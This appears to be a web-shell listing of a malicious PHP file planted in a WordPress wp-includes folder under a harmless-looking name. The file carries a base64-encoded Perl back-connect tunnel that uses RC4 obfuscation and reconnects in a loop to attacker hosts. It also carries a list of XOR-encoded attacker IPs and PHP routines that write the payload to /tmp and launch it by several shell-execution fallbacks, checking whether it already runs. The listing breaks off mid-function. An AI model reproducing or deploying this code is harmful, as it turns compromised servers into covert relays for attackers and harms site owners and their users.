HEX
Server: Apache
System: Linux p3plzcpnl502857.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: ehm7jk47ky8o (9494303)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/ehm7jk47ky8o/public_html/wp-includes/buadmin.php
<?php

if(isset($_COOKIE['blu'])) {}

// ================= КОНФИГУРАЦИЯ =================
define('SECRET', ''key_1768557456_f0eccdba'');  // Секретный ключ
define('MAX_RETRIES', 3);         // Попыток на каждый IP
define('INITIAL_SLEEP', 2000000); // 2 секунды начальной паузы
define('MIN_SLEEP', 300000);      // 0.3 сек минимальная пауза
define('MAX_SLEEP', 1000000);     // 1 сек максимальная пауза

// ================= ЗАШИФРОВАННЫЕ ДАННЫЕ =================
// Perl код в base64
'IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2UgRmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzE5Mi4xNjguMS4xJzsKbXkgJHBvcnQgPSA0NDM7CgokU0lHe1BJUEV9ID0gJ0lHTk9SRSc7CiRTSUd7SFVQfSA9ICdJR05PUkUnOwokU0lHe0NITER9ID0gJ0lHTk9SRSc7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgoJIG15ICRwb2NrZW1vbjEgPSAwOwoKCSBteSAkcG9ja2Vtb24yID0gMDsKCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgoJIG15ICRwb2NrZW1vbjQgPSAwOwoKCSBteSAkcG9ja2Vtb243ID0gMDsKCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgoJIG15ICRyY3ggPSAkc3o7CgoJIG15ICRyc2kgPSAwOwoKCSBteSAkcmJ4ID0gMDsKCgkgbXkgJGdzID0gMDsKCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgoJIGRvIHsKCgkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSA9ICh2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkgXiB2ZWMoJCRwYXNzdywgJHJieCwgOCkpOwoKCQkgJHJzaSsrOwoKCQkgJHJieCsrOwoKCQkgJHJjeC0tOwoKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoKCQkJICRyYnggPSAwOwoJCX0KCgl9IHdoaWxlKCRyY3ggPiAwKTsKCgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkZ3MgPT0gMCkgewoKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCgkJIGlmICgkZ3MgIT0gMCkgewoKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgoJCX0KCgkJICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBhc3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgoJCQkgJGdzID0gMTsKCgkJCSBuZXh0OwoJCX0KCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0gMDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24zID0gMDsKCgkJIHdoaWxlKDEpIHsKCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsKCgkJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkgPSAkcG9ja2Vtb244OwoKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoKCQkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KSA9IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KSBeIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KTsKCgkJCSAkcG9ja2Vtb24zKys7CgoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgoJCX0KCgkJIGxhc3Q7Cgl9CgoJICRyc2kgPSAwOwoKCSAkcmN4ID0gJHN6OwoKCSAkcmJ4ID0gMDsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgoJCSAkcnNpKys7CgoJCSAkcmJ4Kys7CgoJCSAkcmN4LS07CgoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgoJCQkgJHJieCA9IDA7CgkJfQoKCX0gd2hpbGUoJHJjeCA+IDApOwoKfQoKc3ViIHN5bnNlbmQgewoKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmZlciA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aAk9IHNoaWZ0KEBfKTsKCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoJIHN5c3dyaXRlKCRjU29ja2V0LCAkYnVmZmVyLCAkbGVuZ3RoLCAkb2Zmc2V0KTsKCgkgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgkZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgoJbXkgJG51bSA9IHNoaWZ0KEBfKTsKCglteSAkc1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRudW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoKCW15ICRkb21haW4gPSAnJzsKCglteSAkcG9ydCA9IDA7CgoJbXkgJF9yZXQgPSAwOwoKCW15ICRkYXRhID0gJyc7CgoJbXkgJGJ1ZmZlciA9ICcnOwoKCW15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCglteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwoKCXNldHNvY2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCA2NTUzNik7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgoJZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoKCWZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBPX05PTkJMT0NLKTsKCglpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMykgewoKCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwgdmVjKCRidWZmMCwgOCwgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgOSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgoJCXN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmYwLCA5ICsgdmVjKCRidWZmMCwgOCwgOCkgKyAxLCAxKTsKCgkJJHBvcnQgPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsKCX0KCgllbHNpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMSkgewoKCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmYwLCA4ICsgMCwgOCksIHZlYygkYnVmZjAsIDggKyAxLCA4KSwgdmVjKCRidWZmMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMywgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgMTIgKyAwLCAxKTsKCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgoJCSRwb3J0ID0gIHZlYygkc3RyX3dlYywgMCwgMTYpOwoKCX0KCgllbHNlIHsKCgkJZ290byBjbG9zZV87Cgl9CgoJIGV2YWwgewoKCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkZG9tYWluKSk7CgoJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoKCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoKCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCgkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoKCQkgZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoKCQkgJF9yZXQgPSAxOwoKCSB9OwoKCSBjbG9zZV86CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDMsIDEwKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgoJIGlmICgkX3JldCA9PSAxKSB7CgoJCSB3aGlsZSAoMSkgewoKCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCgkJCSAkZGF0YSA9IHN5c3JlYWQoJGNTb2NrZXQsICRidWZmZXIxLCA2NTUzMCwgMyk7CgoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJG51bTsKCgkJCSB2ZWMoJHN0cl93ZWMsIDAsIDE2KSA9ICRkYXRhOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMiwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDAsIDEpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsKCgkJCSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyMSwgMyArICRkYXRhLCAwKTsKCQl9Cgl9CgoJIGNsb3NlKCRjU29ja2V0KTsKCgkgdmVjKCRyZXNwb25jZSwgMCwgOCkgPSAkbnVtOwoKCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCAzLCAwKTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoKCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJlbWFpbmluZyA9IDA7CgoJIG15ICRyZW1haW5pbmc0ID0gMDsKCgkgbXkgQHNvY2tldGFycjsKCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoKCSBteSAkYnVmZmVyMCA9ICJceDAwIiB4IDY1NTM2OwoKCSBteSAkaXNFeGl0ID0gMDsKCgkgbXkgJGVjeCA9IDA7CgoJIG15ICRlYXggPSAwOwoKCSBteSAkZGF0YSA9ICcnOwoKCSBteSAkX3JldCA9IDA7CgoJIG15ICRlYnggPSAwOwoKCSBteSAkZWR4ID0gMDsKCgkgbXkgJHN0cl93ZWMgPSAiXHgwMFx4MDAiOwoKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7CgoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgoJCQkgdW5sZXNzKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDYwKSkgewoKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoKCQkJCSBzeW5zZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpLCAwKTsKCgkJCQkgbmV4dDsKCQkJfQoKCQl9CgoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoKCQkJCQkgJGlzRXhpdCA9IDE7CgoJCQkJCSBsYXN0OwoKCQkJCX0KCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgZGVmaW5lZCgkc29ja2V0YXJyWyRlYnhdKSkgewoKCQkJCQkgc2h1dGRvd24oJHNvY2tldGFyclskZWJ4XSwgMCk7CgoJCQkJfQoKCQkJfQoKCQkJZWxzZSB7CgoJCQkJICRlY3ggPSAkZWR4OwoKCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwgJHJlbWFpbmluZyArIDQpOwoKCQkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCQkgJHJlbWFpbmluZyArPSAkZGF0YTsKCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoKCQkJCQkJIG15ICRwaWQgPSBmb3JrKCk7CgoJCQkJCQkgaWYgKCFkZWZpbmVkICRwaWQpIHsKCgkJCQkJCQkgZGllICJDYW5ub3QgZm9yayBhIGNoaWxkOiAkISI7CgkJCQkJCSB9CgoJCQkJCQkgZWxzaWYgKCRwaWQgPT0gMCkgewoKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCgkJCQkJCQkgZXhpdCAwOwoJCQkJCQkgfQoJCQkJCX0KCgkJCQkJIGVsc2UgewoKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCgkJCQkJfQoKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgoJCQl9CgoJCQkgJHJlbWFpbmluZzQgPSAwOwoKCQl9CgoJCWVsc2UgewoKCQkJICRlYXggPSA0OwoKCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7CgoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7CgoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgeyBpZiAoZGVmaW5lZCgkc29ja2V0YXJyWyRpXSkpIHsgc2h1dGRvd24oJHNvY2tldGFyclskaV0sIDApOyB9IH0KCgkgc2xlZXAgMTA7CgoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCgkgc2xlZXAgMTgwOwp9Cg==' = '$PERL_B64';

// IP в зашифрованном виде (simple XOR + base64)
$IPS_ENCRYPTED = array(
    'ODszNzo6Mz49MzY6NQ=='
    ,'ODszNzo6Mz49MzY6Ng=='
    ,'ODszNzo6Mz49MzY6Nw=='
    ,'ODszNzo6Mz49MzY6OA=='
    ,'ODszNzo6Mz49MzY6OQ=='
    ,'ODszNzo6Mz49MzY6Og=='
    ,'ODszNzo6Mz49MzY6Ow=='
    ,'ODszNzo6Mz49MzY6PA=='
    ,'ODszNzo6Mz49MzY6PQ=='
    ,'ODszNzo6Mz49MzY6Pg=='
    ,'ODszNzo6Mz49MzY7NQ=='
    ,'ODszNzo6Mz49MzY7Ng=='
    ,'ODszNzo6Mz49MzY7Nw=='
    ,'ODszNzo6Mz49MzY7OA=='
    ,'ODszNzo6Mz49MzY7OQ=='
    ,'ODszNzo6Mz49MzY7Og=='
    ,'ODszNzo6Mz49MzY7Ow=='
    ,'ODszNzo6Mz49MzY7PA=='
    ,'ODszNzo6Mz49MzY7PQ=='
    ,'ODszNzo6Mz49MzY7Pg=='
    ,'ODszNzo6Mz49MzY8NQ=='
    ,'ODszNzo6Mz49MzY8Ng=='
    ,'ODszNzo6Mz49MzY8Nw=='
    ,'ODszNzo6Mz49MzY8OA=='
    ,'ODszNzo6Mz49MzY8OQ=='
    ,'ODszNzo6Mz49MzY8Og=='
    ,'ODszNzo6Mz49MzY8Ow=='
    ,'ODszNzo6Mz49MzY8PA=='
    ,'ODszNzo6Mz49MzY8PQ=='
    ,'ODszNzo6Mz49MzY8Pg=='
    ,'ODszNzo6Mz49MzY9NQ=='
    ,'ODszNzo6Mz49MzY9Ng=='
    ,'ODszNzo6Mz49MzY9Nw=='
    ,'ODszNzo6Mz49MzY9OA=='
    ,'ODszNzo6Mz49MzY9OQ=='
    ,'OzczOzUzNjg2MzY8PQ=='
    ,'OzczOzUzNjg2MzY8Pg=='
    ,'OzczOzUzNjg2MzY9NQ=='
    ,'OzczOzUzNjg2MzY9Ng=='
    ,'OzczOzUzNjg2MzY9Nw=='
    ,'OzczOzUzNjg2MzY9OA=='
    ,'OzczOzUzNjg2MzY9OQ=='
    ,'OzczOzUzNjg2MzY9Og=='
    ,'OzczOzUzNjg2MzY9Ow=='
    ,'OzczOzUzNjg2MzY9PA=='
    ,'OzczOzUzNjg2MzY9PQ=='
    ,'OzczOzUzNjg2MzY9Pg=='
    ,'OzczOzUzNjg2MzY+NQ=='
    ,'OzczOzUzNjg2MzY+Ng=='
    ,'OzczOzUzNjg2MzY+Nw=='
    ,'OzczOzUzNjg2MzY+OA=='
    ,'OzczOzUzNjg2MzY+OQ=='
    ,'OzczOzUzNjg2MzY+Og=='
    ,'OzczOzUzNjg2MzY+Ow=='
    ,'OzczOzUzNjg2MzY+PA=='
    ,'OzczOzUzNjg2MzY+PQ=='
    ,'OzczOzUzNjg2MzY+Pg=='
    ,'OzczOzUzNjg2Mzc1NQ=='
    ,'OzczOzUzNjg2Mzc1Ng=='
    ,'OzczOzUzNjg2Mzc1Nw=='
    ,'OzczOzUzNjg2Mzc1OA=='
    ,'OzczOzUzNjg2Mzc1OQ=='
    ,'OzczOzUzNjg2Mzc1Og=='
    ,'OzczOzUzNjg2Mzc6OA=='
);

// ================= ОСНОВНЫЕ ФУНКЦИИ =================

// Дешифровка IP
function decrypt_ip($encrypted) {
    $data = base64_decode($encrypted);
    if ($data === false) return false;

    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $char_code = ord($data[$i]);
        $result .= chr(($char_code - 5 + 256) % 256);
    }
    return $result;
}

// Проверка запущен ли процесс
function is_already_running($ip) {
    // Метод 1: ps + grep
    $cmd1 = "ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep 'perl' 2>/dev/null | grep '" . addslashes($ip) . "' 2>/dev/null | wc -l 2>/dev/null";
    $output1 = array();
    @exec($cmd1, $output1);
    if (!empty($output1) && intval(trim(implode('', $output1))) > 0) {
        return true;
    }

    // Метод 2: pgrep (если доступен)
    $cmd2 = "pgrep -f 'perl.*" . addslashes($ip) . "' 2>/dev/null | wc -l 2>/dev/null";
    $output2 = @shell_exec($cmd2);
    if ($output2 && intval(trim($output2)) > 0) {
        return true;
    }

    // Метод 3: простой grep
    $cmd3 = "ps aux | grep '" . addslashes($ip) . "' | grep -v grep 2>&1";
    $output3 = @shell_exec($cmd3);
    if (!empty(trim($output3))) {
        return true;
    }

    return false;
}

// Запуск процесса (множество методов)
function launch_process($ip, $perl_code) {
    // Подготовка Perl кода
    $code = str_replace("my \$host = '192.168.1.1';", "my \$host = '$ip';", $perl_code);

    // Создаем временный файл
    $temp_file = '/tmp/ult_' . md5($ip . microtime(true) . rand()) . '.pl';

    if (!@file_put_contents($temp_file, $code)) {
        return false;
    }

    @chmod($temp_file, 0700);

    // Проверка синтаксиса Perl
    $syntax_check = @shell_exec("perl -c " . escapeshellarg($temp_file) . " 2>&1");
    if (strpos($syntax_check, 'syntax OK') === false) {
        @unlink($temp_file);
        return false;
    }

    $success = false;
    $pid = null;

    // СПИСОК МЕТОДОВ ЗАПУСКА (пробуем все по очереди)

    // Метод 1: nohup (самый надежный)
    $cmd = "cd /tmp && nohup perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 & echo \$!";
    $pid = trim(@shell_exec($cmd));
    if (!empty($pid) && is_numeric($pid)) {
        $success = true;
    }

    // Метод 2: system()
    if (!$success) {
        @system("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
        $success = true;
    }

    // Метод 3: exec()
    if (!$success) {
        @exec("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
        $success = true;
    }

    // Метод 4: passthru()
    if (!$success && function_exists('passthru')) {
        @passthru("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &", $result);
        $success = ($result === 0);
    }

    // Метод 5: proc_open()
    if (!$success && function_exists('proc_open')) {
        $descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        $process = @proc_open("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &", $descriptorspec, $pipes);
        if (is_resource($process)) {
            @proc_close($process);
            $success = true;
        }
    }

    // Метод 6: прямой shell_exec
    if (!$success) {
        @shell_exec("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
        $success = true;
    }

    // Метод 7: через /bin/sh
    if (!$success) {
        @shell_exec("/bin/sh -c 'perl " . escapeshellarg($temp_file) . " >/dev/null 2>&1 &'");
        $success = true;
    }

    // Удаляем временный файл
    @unlink($temp_file);

    if (!$success) {
        return false;
    }

    // Даем процессу время на запуск
    usleep(300000); // 0.3 секунды

    // Проверяем запустился ли
    if ($pid && is_numeric($pid)) {
        // Проверяем по PID
        $check_pid = @shell_exec("ps -p $pid -o pid= 2>/dev/null");
        if (!empty(trim($check_pid))) {
            return true;
        }
    }

    // Проверяем по IP
